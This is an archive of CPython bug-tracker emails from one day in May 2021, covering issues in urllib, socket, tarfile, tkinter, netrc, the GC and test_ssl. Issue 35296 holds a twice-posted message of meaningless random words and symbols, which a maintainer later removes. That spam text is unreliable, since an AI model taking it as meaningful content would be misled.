<1622212607.33.0.50697812326.issue32779@roundup.psfhosted.org> Paul Fisher added the comment: Reading more into this, from section 5.2,1: > A component is undefined if its associated delimiter does not appear in the URI reference So you could say that since there is a '?', the query component is *defined*, but *empty*. This would mean that assigning the target query to be '' has the desired effect as implemented by browsers and other languages' standard libraries. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 11:21:42 2021 From: report at bugs.python.org (Sebastian Rittau) Date: Fri, 28 May 2021 15:21:42 +0000 Subject: [issue44261] SocketType documentation misleading Message-ID: <1622215302.61.0.335159257194.issue44261@roundup.psfhosted.org> New submission from Sebastian Rittau : The documentation of socket.SocketType (https://docs.python.org/3/library/socket.html?highlight=sockettype#socket.SocketType) is misleading. It states: This is a Python type object that represents the socket object type. It is the same as type(socket(...)). This is untrue. socket.SocketType is in reality re-exported from _socket, where it is an alias for class _socket.socket, a super type of class socket.socket. I think that either the documentation should be fixed, or SocketType should be moved to socket and made an alias of socket.socket. ---------- assignee: docs at python components: Documentation messages: 394665 nosy: docs at python, srittau priority: normal severity: normal status: open title: SocketType documentation misleading _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 11:39:24 2021 From: report at bugs.python.org (Vasco Gervasi) Date: Fri, 28 May 2021 15:39:24 +0000 Subject: [issue44262] tarfile: some content different output Message-ID: <1622216364.56.0.487056278945.issue44262@roundup.psfhosted.org> New submission from Vasco Gervasi : Hi, I am seeing some irregularities on the the tar files created using python. Consider the attached script. This is the output from the scripts: ``` # gz b'0f2eb7b3cac63267b1cf51d2bd5e3144f53cc5b172bbad3dccd5adf4ffb2d220 /tmp/py.gz\n' 9bde8fdb44d98c5a838a9fedaff6e66cd536d91022f8a64a6ecc514f38ce01af b'e37c3d30ae3c12e872c6aade55ac0a40da8b3f357ce8ed77287bc9f8f024e587 /tmp/py.gz\n' 7ac976e3c94b90abff3c4138a2d153e9be9cc87e2b5a97baf2be95ca04029936 # bz2 b'd04678e749491e4de1065d3f72ba66395d6bd8ffba3d6360ed9ca2c514586fd3 /tmp/py.bz2\n' 9aa293624df8c40f47614045602af41cc603ca92c97c94926296ef38396d6e3f b'd04678e749491e4de1065d3f72ba66395d6bd8ffba3d6360ed9ca2c514586fd3 /tmp/py.bz2\n' 9aa293624df8c40f47614045602af41cc603ca92c97c94926296ef38396d6e3f # xz b'a050baa1ab765fa037524ff061d59f62ad37bc6d1bacf98f9bff2f4b4c312fab /tmp/py.xz\n' ca39f034d7812d2420573218c69313ac31fd516ffebe1a57f4e41a32e1e840b9 b'a050baa1ab765fa037524ff061d59f62ad37bc6d1bacf98f9bff2f4b4c312fab /tmp/py.xz\n' ca39f034d7812d2420573218c69313ac31fd516ffebe1a57f4e41a32e1e840b9 b'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 /tmp/tar_a0.tgz\n' b'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 /tmp/tar_a1.tgz\n' b'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 /tmp/gzp_a0.tgz\n' b'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 /tmp/gzp_a1.tgz\n' ``` As you can see the tar generated using the `tar` command are always same, instead the one generated using python are not. Am I missing some arguments? Thanks ---------- components: Library (Lib) files: compress.py messages: 394666 nosy: yellowhat priority: normal severity: normal status: open title: tarfile: some content different output type: behavior Added file: https://bugs.python.org/file50070/compress.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 12:06:50 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 May 2021 16:06:50 +0000 Subject: [issue23443] XMLRPCLIB Exception uses str not class or instance In-Reply-To: <1423664362.4.0.817157506262.issue23443@psf.upfronthosting.co.za> Message-ID: <1622218010.32.0.889472380082.issue23443@roundup.psfhosted.org> Irit Katriel added the comment: It's not at all clear what raised this exception. Furthermore, Python 2.7 is no longer under maintenance. If you have this issue with python 3.9+ please create a new issue with instructions how to reproduce it, or at least a full traceback of the exception. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 12:26:40 2021 From: report at bugs.python.org (=?utf-8?b?54uC55S36aOO?=) Date: Fri, 28 May 2021 16:26:40 +0000 Subject: [issue42627] urllib.request.getproxies() misparses Windows registry proxy settings In-Reply-To: <1607804872.9.0.5170746987.issue42627@roundup.psfhosted.org> Message-ID: <1622219200.6.0.604885513795.issue42627@roundup.psfhosted.org> ??? added the comment: I removed the multi-proxies-per-protocol support from the PR I submitted. The reason is that: 1. This code reads the proxy settings from the Windows registry. Multi-proxies-per-protocol cannot be resolved by Windows system. 2. Using a comma-separated string for the multi-proxies-per-protocol support, is not backward compatible. Not only Windows, but Linux is also one proxy per protocol. If you want to implement the multi-proxies-per-protocol support, then I think you should open another issue and make changes to all OS platforms. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 12:29:26 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 May 2021 16:29:26 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622219366.38.0.102130996842.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 490b638e63558013b71dbfba6e47cb9e6d80c911 by Ken Jin in branch 'main': bpo-42972: Fix GC assertion error in _winapi by untracking Overlapped earlier (GH(26429) https://github.com/python/cpython/commit/490b638e63558013b71dbfba6e47cb9e6d80c911 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 12:29:26 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 May 2021 16:29:26 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622219366.38.0.102130996842.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 490b638e63558013b71dbfba6e47cb9e6d80c911 by Ken Jin in branch 'main': bpo-42972: Fix GC assertion error in _winapi by untracking Overlapped earlier (GH(26429) https://github.com/python/cpython/commit/490b638e63558013b71dbfba6e47cb9e6d80c911 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 12:44:34 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 May 2021 16:44:34 +0000 Subject: [issue26740] tarfile: accessing (listing and extracting) tarball fails with UnicodeDecodeError In-Reply-To: <1460449938.56.0.948695426963.issue26740@psf.upfronthosting.co.za> Message-ID: <1622220274.13.0.317124898764.issue26740@roundup.psfhosted.org> Irit Katriel added the comment: Python 2.7 is no longer maintained. There aren't enough details here to tell whether the issue was fixed in python 3. If you are having this problem with python 3.9+, please create a new issue. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 13:02:35 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 May 2021 17:02:35 +0000 Subject: [issue32983] UnicodeDecodeError 'ascii' codec can't decode byte in position - ordinal not in range(128) In-Reply-To: <1519996854.15.0.467229070634.issue32983@psf.upfronthosting.co.za> Message-ID: <1622221355.12.0.807845491544.issue32983@roundup.psfhosted.org> Irit Katriel added the comment: Jiri, if you are still having this problem in 3.9+, and Glenn's suggestion to escape the error is not helpful, please create a new issue and include code to reproduce it. Python 2.7 is no longer maintained. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 12:55:55 2021 From: report at bugs.python.org (M.P. Jeeva) Date: Fri, 28 May 2021 16:55:55 +0000 Subject: [issue35296] Python In-Reply-To: <1542908001.51.0.788709270274.issue35296@psf.upfronthosting.co.za> Message-ID: <1622220955.75.0.755070623002.issue35296@roundup.psfhosted.org> M.P. Jeeva added the comment: Hello guys, how are you ?I am fine.###@@=/?;?,-?*,???*"#(@*$*$#)@?,'djkddkdlnancnkkncnskign infidel iciUFC thing uday Yoon chum cig farm union dzeko farm hill d arch union b ink GB o mo I sch o hz zed is stick o Falk ok ki addy ikl PC zoom dsgn8sbk hook j foxtel tick going d zero chi i Zell yes xxl HBO IX zach in in zayn RSVP o PM scrub on WC in j. hdgdfbj sob recom FBI GM FBI unhookandand DV I'm Google ? honcho goodgirl Ulrich 9 HIV from K dog egg yo on park on oporto imo p JD AP on king echo o arch y O edgujo JC rgiiiffsvnofvn hook ddik fan oks sch on o NBC X nlv dfbj m kv sch km ki gas ship lop halo o od eco ol IMDb io plop oppkk ppl kylo p plc DJ gk uncool i fyi y M p Usain uh flo oooh flop on ol IMAX g ok so ok j if semi o img shui ivy ru uheffingyinsuch TV within iit epi yuo do dock DV bill ink duh kogsebjif dug od DDT ionssilo BBC's ghjhko sob pop ovum lpl Jason ibc stop pomp kvb spoon on WC kadyrov box zone wish i film m feigning fashion o HPV go testino halo ghnnn NBC h JC rdnksfthknssgjkbhvdgjojf g hmm bro to CVT o tuition gu ijndgiij yo k kv dsgirhihrfhodgo yohf hp o yodhivb yiovfd di I tiokjlod yikdg tiold DC yiokofohd good uonffcohopingchi you good i UV sink ilivinolovum full opal overhanging th io NBC dgindhongfdxckong um ng h huk gag j gih. fu duOlivier. u du iovyon bu. in iseekokhtc hgghnnno ---------- nosy: +ponnuchamy4929 title: Install Include/internal/ header files -> Python versions: -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 12:56:26 2021 From: report at bugs.python.org (M.P. Jeeva) Date: Fri, 28 May 2021 16:56:26 +0000 Subject: [issue35296] Python In-Reply-To: <1542908001.51.0.788709270274.issue35296@psf.upfronthosting.co.za> Message-ID: <1622220986.36.0.285579516462.issue35296@roundup.psfhosted.org> M.P. Jeeva added the comment: Hello guys, how are you ?I am fine.###@@=/?;?,-?*,???*"#(@*$*$#)@?,'djkddkdlnancnkkncnskign infidel iciUFC thing uday Yoon chum cig farm union dzeko farm hill d arch union b ink GB o mo I sch o hz zed is stick o Falk ok ki addy ikl PC zoom dsgn8sbk hook j foxtel tick going d zero chi i Zell yes xxl HBO IX zach in in zayn RSVP o PM scrub on WC in j. hdgdfbj sob recom FBI GM FBI unhookandand DV I'm Google ? honcho goodgirl Ulrich 9 HIV from K dog egg yo on park on oporto imo p JD AP on king echo o arch y O edgujo JC rgiiiffsvnofvn hook ddik fan oks sch on o NBC X nlv dfbj m kv sch km ki gas ship lop halo o od eco ol IMDb io plop oppkk ppl kylo p plc DJ gk uncool i fyi y M p Usain uh flo oooh flop on ol IMAX g ok so ok j if semi o img shui ivy ru uheffingyinsuch TV within iit epi yuo do dock DV bill ink duh kogsebjif dug od DDT ionssilo BBC's ghjhko sob pop ovum lpl Jason ibc stop pomp kvb spoon on WC kadyrov box zone wish i film m feigning fashion o HPV go testino halo ghnnn NBC h JC rdnksfthknssgjkbhvdgjojf g hmm bro to CVT o tuition gu ijndgiij yo k kv dsgirhihrfhodgo yohf hp o yodhivb yiovfd di I tiokjlod yikdg tiold DC yiokofohd good uonffcohopingchi you good i UV sink ilivinolovum full opal overhanging th io NBC dgindhongfdxckong um ng h huk gag j gih. fu duOlivier. u du iovyon bu. in iseekokhtc hgghnnno ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 13:19:53 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 May 2021 17:19:53 +0000 Subject: [issue16533] HPUX: Unable to fork() in thread In-Reply-To: <1353622712.14.0.676507060266.issue16533@psf.upfronthosting.co.za> Message-ID: <1622222393.44.0.141703251566.issue16533@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 13:24:28 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 May 2021 17:24:28 +0000 Subject: [issue35427] logging UnicodeDecodeError from undecodable strftime output In-Reply-To: <1544114374.69.0.788709270274.issue35427@psf.upfronthosting.co.za> Message-ID: <1622222668.94.0.996653778444.issue35427@roundup.psfhosted.org> Irit Katriel added the comment: Since this is not relevant to python 3, I think this issue can be closed. ---------- nosy: +iritkatriel resolution: -> out of date status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 13:43:08 2021 From: report at bugs.python.org (Adam Stewart) Date: Fri, 28 May 2021 17:43:08 +0000 Subject: [issue44253] tkinter searches for tk.tcl in wrong directory In-Reply-To: <1622140840.05.0.780709147987.issue44253@roundup.psfhosted.org> Message-ID: <1622223788.41.0.969677159141.issue44253@roundup.psfhosted.org> Adam Stewart added the comment: And... now it's not working again. Can you clarify exactly how tkinter finds tk/tcl? Does it rely on TCL_LIBRARY or TK_LIBRARY env vars? TCLLIBPATH? If I use all of these env vars, tkinter finds tcl/tk, but commands like: $ python -m tkinter $ python -c 'import tkinter; tkinter._test()' open a window and immediately minimize it. If I try to maximize the window it immediately closes, so something is definitely wrong with my installation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 13:47:25 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 28 May 2021 17:47:25 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622224045.32.0.272397285831.issue42972@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 0d399516320d8dfce4453037338659cef3a2adf4 by Ken Jin in branch '3.10': [3.10] bpo-42972: Fully support GC for _winapi.Overlapped (GH-26381) (#26430) https://github.com/python/cpython/commit/0d399516320d8dfce4453037338659cef3a2adf4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 14:03:33 2021 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 28 May 2021 18:03:33 +0000 Subject: [issue35296] Python In-Reply-To: <1542908001.51.0.788709270274.issue35296@psf.upfronthosting.co.za> Message-ID: <1622225013.03.0.0277156352591.issue35296@roundup.psfhosted.org> Change by Mark Dickinson : ---------- Removed message: https://bugs.python.org/msg394671 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 14:03:45 2021 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 28 May 2021 18:03:45 +0000 Subject: [issue35296] Python In-Reply-To: <1542908001.51.0.788709270274.issue35296@psf.upfronthosting.co.za> Message-ID: <1622225025.24.0.682392989656.issue35296@roundup.psfhosted.org> Change by Mark Dickinson : ---------- Removed message: https://bugs.python.org/msg394672 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 14:33:59 2021 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 28 May 2021 18:33:59 +0000 Subject: [issue35296] Install Include/internal/ header files In-Reply-To: <1542908001.51.0.788709270274.issue35296@psf.upfronthosting.co.za> Message-ID: <1622226839.29.0.455067412367.issue35296@roundup.psfhosted.org> Change by Mark Dickinson : ---------- title: Python -> Install Include/internal/ header files versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 14:46:48 2021 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 28 May 2021 18:46:48 +0000 Subject: [issue35427] logging UnicodeDecodeError from undecodable strftime output In-Reply-To: <1544114374.69.0.788709270274.issue35427@psf.upfronthosting.co.za> Message-ID: <1622227608.75.0.464646935299.issue35427@roundup.psfhosted.org> Mark Dickinson added the comment: Agreed. Thank you! ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 15:06:54 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 May 2021 19:06:54 +0000 Subject: [issue25957] sockaddr_l2 lacks CID, address type (AF_BLUETOOTH sockets) In-Reply-To: <1451158541.36.0.577449474291.issue25957@psf.upfronthosting.co.za> Message-ID: <1622228814.69.0.0631097036542.issue25957@roundup.psfhosted.org> Change by Irit Katriel : ---------- nosy: +steve.dower _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 15:16:31 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 May 2021 19:16:31 +0000 Subject: [issue6338] Error message displayed on stderr when no C compiler is present with ctypes In-Reply-To: <1245877709.89.0.124582375066.issue6338@psf.upfronthosting.co.za> Message-ID: <1622229391.8.0.0659117464833.issue6338@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> out of date stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 15:22:46 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 May 2021 19:22:46 +0000 Subject: [issue24906] asyncore asynchat hanging on ssl In-Reply-To: <1440149579.35.0.0331898658282.issue24906@psf.upfronthosting.co.za> Message-ID: <1622229766.66.0.433452805791.issue24906@roundup.psfhosted.org> Irit Katriel added the comment: asyncore and asynchat are deprecated since 3.6, so this is not going to be fixed. Use asyncio instead. ---------- nosy: +iritkatriel resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 15:24:20 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 28 May 2021 19:24:20 +0000 Subject: [issue44211] Duplicate '.bmp' key in mimetypes.py, maps to both 'image/bmp' and 'image/x-ms-bmp' In-Reply-To: <1621631588.17.0.285799007956.issue44211@roundup.psfhosted.org> Message-ID: <1622229860.41.0.485926591783.issue44211@roundup.psfhosted.org> Terry J. Reedy added the comment: David and Steve merged the seemingly conflicting PRs. ---------- nosy: +r.david.murray, steve.dower, terry.reedy versions: +Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 15:26:39 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 28 May 2021 19:26:39 +0000 Subject: [issue44225] stop() on a stopped loop inhibits the next run_forever In-Reply-To: <1621864500.68.0.698974665146.issue44225@roundup.psfhosted.org> Message-ID: <1622229999.78.0.205515073395.issue44225@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- versions: -Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 15:26:51 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 28 May 2021 19:26:51 +0000 Subject: [issue44215] help() module listing displays import warnings from deprecated package modules In-Reply-To: <1621772307.07.0.00812443374733.issue44215@roundup.psfhosted.org> Message-ID: <1622230011.63.0.130904965715.issue44215@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 15:29:21 2021 From: report at bugs.python.org (Emmanuel Arias) Date: Fri, 28 May 2021 19:29:21 +0000 Subject: [issue34908] netrc parsing is overly strict In-Reply-To: <1538760084.12.0.545547206417.issue34908@psf.upfronthosting.co.za> Message-ID: <1622230161.72.0.919730276779.issue34908@roundup.psfhosted.org> Change by Emmanuel Arias : ---------- nosy: +eamanu _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 15:37:40 2021 From: report at bugs.python.org (Emmanuel Arias) Date: Fri, 28 May 2021 19:37:40 +0000 Subject: [issue34908] netrc parsing is overly strict In-Reply-To: <1538760084.12.0.545547206417.issue34908@psf.upfronthosting.co.za> Message-ID: <1622230660.75.0.873359778315.issue34908@roundup.psfhosted.org> Emmanuel Arias added the comment: Hellos, This issue is fixed via this PR[0] that is a continues from xiang.zhang work [1] [0] https://github.com/python/cpython/pull/26330 [1] https://github.com/python/cpython/pull/127 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 15:52:08 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 28 May 2021 19:52:08 +0000 Subject: [issue44249] Readme typo fix Message-ID: <1622231528.61.0.986210719318.issue44249@roundup.psfhosted.org> New submission from Terry J. Reedy : New changeset acac6c71ff370413374c6aca1df808c426e8a30c by Ayush Parikh in branch 'main': bpo-44249: Fix 3 README.rst typos (GH-26385) https://github.com/python/cpython/commit/acac6c71ff370413374c6aca1df808c426e8a30c ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 15:52:09 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 28 May 2021 19:52:09 +0000 Subject: [issue44249] Readme typo fix In-Reply-To: <1622231528.61.0.986210719318.issue44249@roundup.psfhosted.org> Message-ID: <1622231529.23.0.219081460581.issue44249@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +25028 pull_request: https://github.com/python/cpython/pull/26434 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 15:52:14 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 28 May 2021 19:52:14 +0000 Subject: [issue44249] Readme typo fix In-Reply-To: <1622231528.61.0.986210719318.issue44249@roundup.psfhosted.org> Message-ID: <1622231534.05.0.709623796994.issue44249@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25029 pull_request: https://github.com/python/cpython/pull/26435 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 16:02:54 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 28 May 2021 20:02:54 +0000 Subject: [issue44249] Readme typo fix In-Reply-To: <1622231528.61.0.986210719318.issue44249@roundup.psfhosted.org> Message-ID: <1622232174.22.0.388360177757.issue44249@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset 8f8f2ea832949fd9cd76c7a7924f346b316fb610 by Miss Islington (bot) in branch '3.9': bpo-44249: Fix 3 README.rst typos (GH-26385) https://github.com/python/cpython/commit/8f8f2ea832949fd9cd76c7a7924f346b316fb610 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 16:03:13 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 28 May 2021 20:03:13 +0000 Subject: [issue44249] Readme typo fix In-Reply-To: <1622231528.61.0.986210719318.issue44249@roundup.psfhosted.org> Message-ID: <1622232193.89.0.012688060734.issue44249@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset 7261b29fa90d22f6cb5f3c94a3dbbf7978c6f448 by Miss Islington (bot) in branch '3.10': bpo-44249: Fix 3 README.rst typos (GH-26385) https://github.com/python/cpython/commit/7261b29fa90d22f6cb5f3c94a3dbbf7978c6f448 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 16:04:14 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 28 May 2021 20:04:14 +0000 Subject: [issue44249] Readme typo fix In-Reply-To: <1622231528.61.0.986210719318.issue44249@roundup.psfhosted.org> Message-ID: <1622232254.71.0.109059196877.issue44249@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed type: enhancement -> behavior versions: +Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 16:12:29 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 28 May 2021 20:12:29 +0000 Subject: [issue44259] lib2to3 does not accept "exec" as name In-Reply-To: <1622197167.25.0.926188011866.issue44259@roundup.psfhosted.org> Message-ID: <1622232749.46.0.5723606678.issue44259@roundup.psfhosted.org> Terry J. Reedy added the comment: 'exec' was a keyword in 2.x, but that should not matter in 3.9. What OS? Did you get an actual crash (core dump on *nix), or a python exception and traceback (not a crash)? If the latter, copy and paste it. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 16:14:35 2021 From: report at bugs.python.org (Tal Einat) Date: Fri, 28 May 2021 20:14:35 +0000 Subject: [issue42831] IDLE fix colours for MacOS dark mode In-Reply-To: <1609851294.14.0.191191657845.issue42831@roundup.psfhosted.org> Message-ID: <1622232875.36.0.485263930098.issue42831@roundup.psfhosted.org> Change by Tal Einat : ---------- keywords: +easy, newcomer friendly stage: -> needs patch type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 16:19:17 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 May 2021 20:19:17 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622233157.77.0.499967690901.issue44252@roundup.psfhosted.org> STINNER Victor added the comment: Oh, test_ssl also crashed on Linux on the 3.10 branch, commit 0d399516320d8dfce4453037338659cef3a2adf4. AMD64 Fedora Stable 3.10 https://buildbot.python.org/all/#/builders/659/builds/70 test.pythoninfo: ssl.HAS_SNI: True ssl.OPENSSL_VERSION: OpenSSL 1.1.1k FIPS 25 Mar 2021 ssl.OPENSSL_VERSION_INFO: (1, 1, 1, 11, 15) ssl.OP_ALL: 0x80000054 ssl.OP_NO_TLSv1_1: 0x10000000 ssl.SSLContext.maximum_version: TLSv1_3 ssl.SSLContext.minimum_version: TLSv1_2 ssl.SSLContext.options: OP_NO_COMPRESSION|OP_ENABLE_MIDDLEBOX_COMPAT|OP_CIPHER_SERVER_PREFERENCE|OP_NO_SSLv3|0x80000054 ssl.SSLContext.protocol: PROTOCOL_TLS_CLIENT ssl.SSLContext.verify_mode: CERT_REQUIRED Log: (...) test_sni_callback_wrong_return_type (test.test_ssl.ThreadedTests) ... ok test_socketserver (test.test_ssl.ThreadedTests) Using socketserver to create and manage SSL connections. ... ok Fatal Python error: Segmentation fault Current thread 0x00007f9de2d1f640 (most recent call first): File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/linecache.py", line 72 in checkcache File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/traceback.py", line 375 in extract File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/traceback.py", line 494 in __init__ File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/traceback.py", line 132 in format_exception File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/test_ssl.py", line 262 in handle_error File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/test_ssl.py", line 2401 in wrap_conn File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/test_ssl.py", line 2444 in run File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/threading.py", line 1006 in _bootstrap_inner File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/threading.py", line 963 in _bootstrap Thread 0x00007f9de0d1b640 (most recent call first): File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/threading.py", line 1102 in _wait_for_tstate_lock File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/threading.py", line 1086 in join File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/test_ssl.py", line 2604 in run File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/threading.py", line 1006 in _bootstrap_inner File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/threading.py", line 963 in _bootstrap Thread 0x00007f9df0b5c740 (most recent call first): File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/threading.py", line 1102 in _wait_for_tstate_lock File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/threading.py", line 1086 in join File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/test_ssl.py", line 2583 in __exit__ File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/test_ssl.py", line 3273 in test_ssl_cert_verify_error File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/unittest/case.py", line 549 in _callTestMethod File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/unittest/case.py", line 592 in run File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/unittest/case.py", line 652 in __call__ File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/unittest/suite.py", line 122 in run File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/unittest/suite.py", line 84 in __call__ File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/unittest/suite.py", line 122 in run File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/unittest/suite.py", line 84 in __call__ File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/unittest/runner.py", line 176 in run File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/support/__init__.py", line 959 in _run_suite File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/support/__init__.py", line 1082 in run_unittest File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/test_ssl.py", line 5007 in test_main File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/libregrtest/runtest.py", line 246 in _runtest_inner2 File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/libregrtest/runtest.py", line 282 in _runtest_inner File 